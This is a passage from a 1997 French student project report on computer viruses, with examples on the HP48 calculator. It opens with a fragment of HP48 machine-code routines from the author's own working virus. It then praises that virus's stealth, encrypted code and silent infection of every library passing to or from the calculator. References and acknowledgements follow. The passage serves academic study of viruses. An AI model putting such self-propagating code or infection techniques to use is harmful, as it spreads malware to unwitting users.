SETRS *SETRS AD0EX D0=A R2=A D0=D0+ 10 GOSBVL 08400 D0=D0+ 3 D0=D0+ 15 C=DAT0 A AD0EX R3=A A=A+C A R4=A D0=A GOSBVL 03019 RTN @ SZNCNFG *SZNCNFG A=R4 B=A A D0=A GOSBVL 03019 CD0EX C=C-B A RTN @ COPI /* Calcul la taille dune librairie dont /* ladresse est donne en argument. /* /* /* /* Ce sous programme charge les registres avec certaines donnes frquemment utilises (adresses de la librairie, de son Config Object)

57

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

*COPI A=DAT0 1 DAT1=A 1 D=D+ 1 D0=D0+ 1 C=C-1 A GONC COPI RTN @

/* Recopie une zone mmoire /* dune adresse lautre

5.3.

Conclusion sur ce virus

Ce virus est le meilleur de la srie de bien des points de vue. Il utilise de manire optimale les possibilits de la HP48, ce qui lui donne une taille de 553.5 octets, soit deux fois moins que LiPA pour une efficacit bien suprieure. En effet, sa technique de camouflage est trs labore. Il se dsolidarise au maximum de la librairie porteuse pour viter que lon remonte elle dans le cas o il serait identifi. Ainsi, sa partie active hors reset est situe en mmoire des objets temporaires, sans lien avec la librairie origine. De plus, si lon dsassemble une librairie infecte, le seul indice dune infection est une instruction supplmentaire de saut dans le Config Object. Cest dailleurs ainsi que le virus teste si une librairie est infecte. Enfin, quand bien mme le virus serait repr dans une librairie, il serait extrmement difficile de le dsassembler pour savoir ce quil fait, puisque le dbut de son code est chiffr. Et que sa programmation est trs synthtique et peu orthodoxe. Sa Main Loop est aussi rapide que celle du systme, grce lemploi du langage machine pour raliser les tests. Au demeurant, ceux ci sont trs nombreux et anticipent tout les problmes possibles (le virus a t test dans toutes les configurations possibles, et aucun bug ne sest manifest). De plus, sa stratgie dinfection est excellente. Linfection dure moins dune seconde et passe donc inaperue (la machine fait parfois de tels arrts, pour grer sa mmoire). Ainsi, toute librairie en transit vers ou depuis une HP48 est infecte. Enfin, le virus peut comporter une charge utile, bnfique ou non. Lobjectif de ce PIR a donc t atteint : voici ralis un virus complet, oprationnel et performant.

58

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

6. Conclusion de la partie exprimentale : difficult et intrt de la programmation effectue


Quels enseignements peut on tirer de ce travail de programmation concernant les virus ? Dabord, on a prouv lincontestable supriorit des virus crits en langage machine. Ensuite, on saperoit quil est particulirement difficile dcrire un code parasite auto-propageable et ce pour plusieurs raisons. La premire est quil faut une connaissance extrmement pointue du systme informatique dans lequel doit voluer le virus, dabord pour y trouver la faille qui permettra la ralisation dun virus, puis pour viter que ce virus ne commette derreurs qui le trahissent, et pour pouvoir tirer au mieux partie de ce systme dans lcriture de virus les plus synthtiques et efficaces possibles. La seconde difficult provient de lemploi ncessaire du langage machine. Cela impose un long travail de rflexion sur papier et lcriture pralable du code complet avant de le rentrer sur la machine. La phase de dbbugage qui suit alors est dautant plus difficile quun code en langage machine est peu lisible et contrlable, et que les erreurs commises viennent souvent dune comprhension insuffisante du systme. En contre partie ces difficults, lcriture de virus a une dimension ludique certaine. En effet, la conception dun virus commence par la traque des failles dun systme, qui peut prendre la forme dun duel entre le programmeur et la machine, o le jeu consiste pour le premier avoir assez dimagination et dastuce pour trouver un moyen datteindre

59

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

son but. A bien y rflchir, il y a peu de diffrence par exemple entre la recherche dune solution une partie dchec et celle dun moyen de concevoir un virus pour tel systme. Lorsque lon se prend au jeu, on finit mme par imaginer des solutions de plus en plus audacieuses et par percevoir une forme desthtique dans les meilleurs dentre elles. Un autre attrait des virus est la richesse dimagination quils autorisent. On a vu en effet la grande varit des techniques possibles et que lon peut perfectionner sans fin. On peut ajouter cela les possibilits indnombrables quoffre la charge facultative. Lcriture de virus apparat donc comme un exercice de programmation assez amusant, et on comprend que des informaticiens se passionnent pour eux. Il faut ajouter ce point de vue un dernier lment qui napparat quaprs une certaine pratique des virus : le programmeur prend plaisir voir voluer son virus et se laisser surprendre par lui. Avec les virus polymorphes gntiques, on a pressentis quon pouvait rapprocher les virus dune notion de vie artificielle. Certains programmeurs vont jusqu imaginer des virus volutifs qui peupleraient lordinateur et sy feraient une lutte virtuelle, la manire de jeux comme Core War, pour distraire lutilisateur. Une chose est certaine : le concept de virus est extrmement fertile en termes dides nouvelles. Pour terminer sur un bmol, soulignons que les arguments prcdents sont issus dun point de vue dinformaticien, et ne prennent donc pas en compte le danger des virus nocifs. Il sagit effectivement dun genre de programmation la fois riche et amusant, mais qui se montre redoutablement efficace lorsque il est employ mauvais escient. Erwan Lemonnier

Rfrences Bibliographiques :
Ouvrages traitants des virus informatiques :
Du Virus lAntivirus, guide danalyse - Mark Ludwig, - DUNOD 1997 Naissance dun Virus - Mark Ludwig - Addison-Wesley 1994 Mutation dun virus - Mark Ludwig Addison-Wesley 1995
3 ouvrages de rfrence trs dtaills sur la conception des virus sur PC

NCSA 1997 Computer Virus Prevalence Survey NCSA 1997


Rapport de la National Computer Security Association sur la gnralisation des virus informatiques

Computer Viruses - Fred Cohen - ASP Press, Pittsburgh, 1986


Ouvrage succdant sa thse, passe en 1985 lUniversit de Californie du Sud

Ouvrages traitants de la HP48 :

60

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Les secrets de la HP48 G/GX tomes 1 & 2 - J.M. Ferrard DUNOD 1994
Programmation en RPL tendu et en langage machine.

Voyage au centre de la HP48 G/GX - Paul Courbis - Angkor 1994


Langage machine et description de la structure interne de la HP48.

Documentation sur Internet :


Malcoms Programming Page - http://www.geocities.com/SiliconValley/Park/3033/
Nombreux documents sur le langage machine, la structure des PCs et les virus. Trs bon document sur les virus polymorphes (A Discussion of Polymorphism par Gary M. Watson).

AVP Virus Encyclopedia - Metropolitan Network BBS Inc - http://www.metro.ch/avpve/


Encyclopdie en ligne sur les virus (structure et descriptif cas par cas).

Computer Virus Research Lab - Links - http://www2.spidernet.net/web/~cvrl/links01.htm


Page de liens vers des sites sur les antivirus. Trs complet.

Remerciement
Je remercie particulirement Monsieur Pierre Bieber, chercheur en Scurit Informatique au Centre dEtude et de Recherche de Toulouse (CERT) pour ses nombreux conseils et son encadrement efficace, grce auquel ce projet a put rapidement progresser.

61